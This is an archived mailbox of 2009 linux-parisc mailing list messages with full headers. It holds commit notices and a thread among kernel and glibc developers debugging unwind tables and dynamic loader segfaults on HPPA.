X-Virus-Scanned: ClamAV 0.93.3/9540/Tue Jul  7 10:52:52 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 07 Jul 2009 18:46:58 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1893>

New commits:
commit 26f3d5c34cd86a3bbf0f0912dc306e24b38b02aa
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 14:46:28 2009 -0400

    parisc: fix thinko, accidently used compat size not native size

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 19:07:13 GMT
Lines: 12
Approved: news@gmane.org
Message-ID: <200907071907.n67J7DmF016862@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246993665 30229 80.91.229.12 (7 Jul 2009 19:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 19:07:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 21:07:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOG0v-0002DR-MP
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 21:07:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754829AbZGGTHP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 15:07:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755230AbZGGTHP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 15:07:15 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:58818 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754829AbZGGTHO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 15:07:14 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19+wFc+kA2gFcgm1XH4WMDlioQHJV37Plo@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n67J7DFI016864
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 7 Jul 2009 19:07:13 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n67J7DmF016862
	for linux-parisc@vger.kernel.org; Tue, 7 Jul 2009 19:07:13 GMT
X-Virus-Scanned: ClamAV 0.93.3/9540/Tue Jul  7 10:52:52 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 07 Jul 2009 19:07:14 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1894
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1894>

New commits:
commit 6bacc95df4c71f939f6fd6ff904492ea4c3381c9
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 15:06:49 2009 -0400

    parisc: frobnicate setting the PSW in gr0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 7 Jul 2009 16:36:14 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab440907071336y707c18f7pf442349c2e232fa7@mail.gmail.com>
References: <4A538D8A.70002@gmx.de>
	 <20090707183311.6B5AA4FB2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1246999088 15307 80.91.229.12 (7 Jul 2009 20:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 20:38:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, randolph@tausq.org,
	linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 22:38:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOHPD-00019j-O3
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 22:36:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754956AbZGGUgR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 16:36:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755128AbZGGUgR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 16:36:17 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:53294 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754956AbZGGUgR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 16:36:17 -0400
Original-Received: by ewy26 with SMTP id 26so1006008ewy.37
        for <linux-parisc@vger.kernel.org>; Tue, 07 Jul 2009 13:36:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=+Zw9Srsju+hOp/GYVsxkxTcrsKlSBQlDBXgm0y6V0pk=;
        b=wtfXsCY1EOA22/eldr4zlAzWyRa0d6t9zFqhiooHKoeyGmqXn7H22jG6J6zUjBUnL3
         RArVFX5DbxYe1YaVF3ETE2iWzyVEuAsLCJEC8RCfZpDfRcM+86a75DL0N0MSTiVN1LmH
         83m7/oXjsmO0vXmfM0uhoLn+Pz0o/2ST0TmU4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=B68Eo3j1f6v1Aamow9oI+cgccD/Df/Q+8o+su1q7pCtfMy5AbtAaCWNE5wwIaQn1sN
         XDZfUeL11uZWWpse4MyXkVKHPPIJmHCp9IufcyKTlEXjtZ5u6j9XZ6FK3/1OO08+hAll
         t3+1eEajXBl5ELHn4fPykjo3EN7X8IFQWcmgc=
Original-Received: by 10.216.54.207 with SMTP id i57mr1691024wec.114.1246998974868; 
	Tue, 07 Jul 2009 13:36:14 -0700 (PDT)
In-Reply-To: <20090707183311.6B5AA4FB2@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: d3ef02194cf80891
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1895>

On Tue, Jul 7, 2009 at 2:33 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> Interestingly, this problem showed up to me now since I updated my 3=
2- and
>> 64bit crosscompilers to 4.3.3 (and binutils of course).
>> I used (on 32bit) the gcc-3.3 before and this one doesn't exibited t=
he
>> problem of buggy unwind tables (with the existing/same kernel source=
 code).
>
> GCC doesn't know anything about PA-RISC unwind info. =A0It's generate=
d by the
> assembler from assembler directives. =A0So, I think it's unlikely tha=
t the
> problem is in GCC.
>
> Your comments about dead-code elimination by the linker make me wonde=
r
> if that isn't the problem.

Helge,

Are you compiling with --gc-sections? Try without?

I've seen at least one problem in the past on another target where
garbage collection would not correctly update debug information.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 16:42:17 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440907071342l1a936c47n62d8f332d8ecf5d4@mail.gmail.com>
References: <1246975877.4522.9.camel@mulgrave.site>
	 <20090707162158.26D514FB2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1246999350 16201 80.91.229.12 (7 Jul 2009 20:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 20:42:30 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	kyle@mcmartin.ca, randolph@tausq.org, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 22:42:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOHUb-0004Q6-9j
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 22:42:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756093AbZGGUmT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 16:42:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756376AbZGGUmT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 16:42:19 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:50721 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755611AbZGGUmT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 16:42:19 -0400
Original-Received: by ewy26 with SMTP id 26so1011285ewy.37
        for <linux-parisc@vger.kernel.org>; Tue, 07 Jul 2009 13:42:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=6PYIuvqWATsSMoz1+ma2ZDJJNB6odJ7ZwImoSRVm8n4=;
        b=RdlYaaKQ4T2UE9JQeyRs/7OyBhDQYQr4X8TYHQOjEu/5NAWf9Z3SIWZ/lMqtITbRxZ
         E2d3G5dGnIxONyZxxo937I/0jTJssFhA86Wa2iP6tQ80DRk1BD9ZGWE9T5zJkF7K/kGE
         92szXbACmK6ebHf9Z1g83D0gMQBtIDKXcANRM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=MIpthKaZld3t0r/Sf9UZGNDTg7ok4yWn7dRH/DbjE2RMTX+mYfN7Ul/bn3/AyPacHe
         Lf2iSrOBbpf9dA8nHW3GqVgClzO9ngpWq3tzQ3yyIH12pC9mDtYxHXnjsdp0jJkf2xeE
         EYUY3PRzhzY8q63D7ulisljR4PdY0Cba0REqQ=
Original-Received: by 10.216.70.204 with SMTP id p54mr1696477wed.87.1246999337437; Tue, 
	07 Jul 2009 13:42:17 -0700 (PDT)
In-Reply-To: <20090707162158.26D514FB2@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: fceec838629359d4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1896 gmane.linux.debian.ports.hppa:5827 gmane.linux.debian.devel.release:31061
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1896>

On Tue, Jul 7, 2009 at 12:21 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> So if I characterise the problem you think you're seeing: on mmap of=
 a
>> file at a memory location to be determined by the kernel, a sequenti=
al
>> set of reads of the mapped location eventually turns up a zero where
>> there should be data? =A0Yes, it does sound like a caching issue.
>
> Yes. =A0The loop is terminated by a null tag:
>
> =A0while (dyn->d_tag !=3D DT_NULL)
> =A0 =A0 =A0{
> =A0 =A0 =A0 =A0 ...
> =A0 =A0 =A0}
>
> However, the core dump doesn't show a null tag before the STRTAB tag
> that caused the segmentation fault.

Do you mean "after" the STRTAB tag? I assume the library on-disk has a
DT_NULL, otherwise it would always fail.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 18:07:16 -0400
Organization: nrc.ca
Lines: 70
Approved: news@gmane.org
Message-ID: <20090707220715.GA17656@hiauly1.hia.nrc.ca>
References: <1246975877.4522.9.camel@mulgrave.site> <20090707162158.26D514FB2@hiauly1.hia.nrc.ca> <119aab440907071342l1a936c47n62d8f332d8ecf5d4@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1247004452 31712 80.91.229.12 (7 Jul 2009 22:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 22:07:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	kyle@mcmartin.ca, randolph@tausq.org, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 08 00:07:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOIor-0007fM-P9
	for glpp-linux-parisc@gmane.org; Wed, 08 Jul 2009 00:07:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753774AbZGGWHU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 18:07:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754956AbZGGWHU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 18:07:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4223 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753774AbZGGWHT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 18:07:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D17CC4FC4; Tue,  7 Jul 2009 18:07:16 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440907071342l1a936c47n62d8f332d8ecf5d4@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1897 gmane.linux.debian.ports.hppa:5828 gmane.linux.debian.devel.release:31063
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1897>

On Tue, 07 Jul 2009, Carlos O'Donell wrote:

> On Tue, Jul 7, 2009 at 12:21 PM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> >> So if I characterise the problem you think you're seeing: on mmap =
of a
> >> file at a memory location to be determined by the kernel, a sequen=
tial
> >> set of reads of the mapped location eventually turns up a zero whe=
re
> >> there should be data? =A0Yes, it does sound like a caching issue.
> >
> > Yes. =A0The loop is terminated by a null tag:
> >
> > =A0while (dyn->d_tag !=3D DT_NULL)
> > =A0 =A0 =A0{
> > =A0 =A0 =A0 =A0 ...
> > =A0 =A0 =A0}
> >
> > However, the core dump doesn't show a null tag before the STRTAB ta=
g
> > that caused the segmentation fault.
>=20
> Do you mean "after" the STRTAB tag? I assume the library on-disk has =
a
> DT_NULL, otherwise it would always fail.

I'm sure that there is a null tag after the STRTAB.  The segmentation
fault occurred because the get operation failed after processing
the first NEEDED tag and before the STRTAB tag.  The loop goes
sequentially through the array of DT objects in the recently mmap'd
data and inserts pointers to these objects into the dynamic loaders
link map for the file (in the l_info field).  There were no null tags
between the NEEDED entry and the STRTAB entry in the mmap'd data in
the core dump.  The DT objects are near the end of the mmap'd data.

I would guess that the loop terminated early because the l_info array
is all zeros except for the first NEEDED entry.  It appears correct.  T=
he
loop might have terminated early because of a cache issue, or possibly
the value loaded from memory somehow got corrupted.  Another possibilit=
y
would be the mmap operation wasn't complete when the memory was examine=
d
by the dynamic loader.  When the core dump was done, the operation was
complete.

I think it's less likely that a cache issue affected the memory used by
the dynamic loader (l_info field) as the data before and after in the
map seemed reasonable.

The fact PA8700 processors are also experiencing similar problems
would seem to suggest that this isn't a PA8800 L2 issue unless we have
multiple problems.

I think we need to try running a recent kernel on gsyprf11 for a while
to see if we can capture a similar event.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 18:17:23 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <119aab440907071517q658b124dxb5b8c7d630ff6c98@mail.gmail.com>
References: <1246975877.4522.9.camel@mulgrave.site>
	 <20090707162158.26D514FB2@hiauly1.hia.nrc.ca>
	 <119aab440907071342l1a936c47n62d8f332d8ecf5d4@mail.gmail.com>
	 <20090707220715.GA17656@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1247005057 1003 80.91.229.12 (7 Jul 2009 22:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 22:17:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	kyle@mcmartin.ca, randolph@tausq.org, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 08 00:17:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOIyd-0002qv-Qm
	for glpp-linux-parisc@gmane.org; Wed, 08 Jul 2009 00:17:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754983AbZGGWR0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 18:17:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755296AbZGGWR0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 18:17:26 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:61260 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754983AbZGGWRZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 18:17:25 -0400
Original-Received: by ewy26 with SMTP id 26so1082970ewy.37
        for <linux-parisc@vger.kernel.org>; Tue, 07 Jul 2009 15:17:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=bTYKqkD2JIvUt97NMOT61zwSe9bDy/x6caFXr3oufUU=;
        b=Ok+z5pXU11fe9UP2Al7lO0Hdl26Y5az2ELkBv00znIDOeJ/aKYVXZpu6IJCAXYPzkb
         GxqIEju+lbqu3KWvnFuxxaNcNu30/nIZbkQZhkZTEZ9zm2oyHsVgUBD91velSQqtTUdN
         7FEU0UzXGp2PpAhkkZCkHwUTvH15Q566OaBNo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=fUnnHAT40aURDiJQluF+gJ/4E7qCt/eu3W6Cv5Kn4fPw7mlrpFRJuMhknudbgQvy9K
         wx27eZTewery13hHzmioayTNCJCHo44QXyrFZGO/8uqJqbCNhc217SUvYcVocTfwjGo5
         Sd7T5a4tRuVm8s3o3Tu5a52HfqXf2X5UJIKSQ=
Original-Received: by 10.216.73.79 with SMTP id u57mr1710720wed.40.1247005043804; Tue, 
	07 Jul 2009 15:17:23 -0700 (PDT)
In-Reply-To: <20090707220715.GA17656@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 0360e5fe01b869c5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1898 gmane.linux.debian.ports.hppa:5829 gmane.linux.debian.devel.release:31064
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1898>

On Tue, Jul 7, 2009 at 6:07 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> I would guess that the loop terminated early because the l_info array
> is all zeros except for the first NEEDED entry. =A0It appears correct=
=2E =A0The
> loop might have terminated early because of a cache issue, or possibl=
y
> the value loaded from memory somehow got corrupted. =A0Another possib=
ility
> would be the mmap operation wasn't complete when the memory was exami=
ned
> by the dynamic loader. =A0When the core dump was done, the operation =
was
> complete.
>
> I think it's less likely that a cache issue affected the memory used =
by
> the dynamic loader (l_info field) as the data before and after in the
> map seemed reasonable.
>
> The fact PA8700 processors are also experiencing similar problems
> would seem to suggest that this isn't a PA8800 L2 issue unless we hav=
e
> multiple problems.
>
> I think we need to try running a recent kernel on gsyprf11 for a whil=
e
> to see if we can capture a similar event.

This rang a bell...

In glibc/elf/rtld.c we have this:

  /* Partly clean the `bootstrap_map' structure up.  Don't use
     `memset' since it might not be built in or inlined and we cannot
     make function calls at this point.  Use '__builtin_memset' if we
     know it is available.  We do not have to clear the memory if we
     do not have to use the temporary bootstrap_map.  Global variables
     are initialized to zero by default.  */
#ifndef DONT_USE_BOOTSTRAP_MAP
# ifdef HAVE_BUILTIN_MEMSET
  __builtin_memset (bootstrap_map.l_info, '\0', sizeof (bootstrap_map.l=
_info));
# else
  for (size_t cnt =3D 0;
       cnt < sizeof (bootstrap_map.l_info) / sizeof (bootstrap_map.l_in=
fo[0]);
       ++cnt)
    bootstrap_map.l_info[cnt] =3D 0;
# endif

On hppa we don't have builtin memset (probably one of the few arches),
so we fall back on this weird loop which I always thought was wrong.

I was seeing problems with l_info having garbage in it, so I had a
local hack which cleared the entire bootstrap_map.

Did your l_info come from the bootstrap_map?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 18:39:20 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <20090707223921.855354FB2@hiauly1.hia.nrc.ca>
References: <119aab440907071517q658b124dxb5b8c7d630ff6c98@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247006377 4608 80.91.229.12 (7 Jul 2009 22:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 22:39:37 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, James.Bottomley@hansenpartnership.com,
	kyle@mcmartin.ca, randolph@tausq.org, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 08 00:39:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOJJt-0002dn-IG
	for glpp-linux-parisc@gmane.org; Wed, 08 Jul 2009 00:39:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755194AbZGGWjY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 18:39:24 -0400
